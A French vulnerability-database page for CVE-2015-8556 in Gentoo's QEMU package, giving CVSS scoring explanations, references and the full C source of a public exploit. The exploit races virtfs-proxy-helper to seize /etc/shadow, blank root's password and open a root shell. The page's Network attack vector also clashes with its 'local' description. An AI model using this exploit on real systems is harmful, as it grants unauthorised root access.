CVE-2015-8556 : Détail

CVE-2015-8556

10
/
Critique
2.01%V3
Network
2017-03-24
13h00 +00:00
2017-03-24
12h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Local privilege escalation vulnerability in the Gentoo QEMU package before 2.5.0-r1.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 10 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 39010

Date de publication : 2015-12-16 23h00 +00:00
Auteur : zx2c4
EDB Vérifié : No

/* == virtfshell == * * Some distributions make virtfs-proxy-helper from QEMU either SUID or * give it CAP_CHOWN fs capabilities. This is a terrible idea. While * virtfs-proxy-helper makes some sort of flimsy check to make sure * its socket path doesn't already exist, it is vulnerable to TOCTOU. * * This should spawn a root shell eventually on vulnerable systems. * * - zx2c4 * 2015-12-12 * * * zx2c4@thinkpad ~ $ lsb_release -i * Distributor ID: Gentoo * zx2c4@thinkpad ~ $ ./virtfshell * == Virtfshell - by zx2c4 == * [+] Trying to win race, attempt 749 * [+] Chown'd /etc/shadow, elevating to root * [+] Cleaning up * [+] Spawning root shell * thinkpad zx2c4 # whoami * root * */ #include <stdio.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/inotify.h> #include <unistd.h> #include <stdlib.h> #include <signal.h> static int it_worked(void) { struct stat sbuf = { 0 }; stat("/etc/shadow", &sbuf); return sbuf.st_uid == getuid() && sbuf.st_gid == getgid(); } int main(int argc, char **argv) { int fd; pid_t pid; char uid[12], gid[12]; size_t attempts = 0; sprintf(uid, "%d", getuid()); sprintf(gid, "%d", getgid()); printf("== Virtfshell - by zx2c4 ==\n"); printf("[+] Beginning race loop\n"); while (!it_worked()) { printf("\033[1A\033[2K[+] Trying to win race, attempt %zu\n", ++attempts); fd = inotify_init(); unlink("/tmp/virtfshell/sock"); mkdir("/tmp/virtfshell", 0777); inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE); pid = fork(); if (pid == -1) continue; if (!pid) { close(0); close(1); close(2); execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL); _exit(1); } read(fd, 0, 0); unlink("/tmp/virtfshell/sock"); symlink("/etc/shadow", "/tmp/virtfshell/sock"); close(fd); kill(pid, SIGKILL); wait(NULL); } printf("[+] Chown'd /etc/shadow, elevating to root\n"); system( "cp /etc/shadow /tmp/original_shadow;" "sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;" "cat /tmp/modified_shadow > /etc/shadow;" "su -c '" " echo [+] Cleaning up;" " cat /tmp/original_shadow > /etc/shadow;" " chown root:root /etc/shadow;" " rm /tmp/modified_shadow /tmp/original_shadow;" " echo [+] Spawning root shell;" " exec /bin/bash -i" "'"); return 0; }

Products Mentioned

Configuraton 0

Qemu>>Qemu >> Version To (including) 2.4.1

Références

https://www.exploit-db.com/exploits/39010/
Tags : exploit, x_refsource_EXPLOIT-DB
https://security.gentoo.org/glsa/201602-01
Tags : vendor-advisory, x_refsource_GENTOO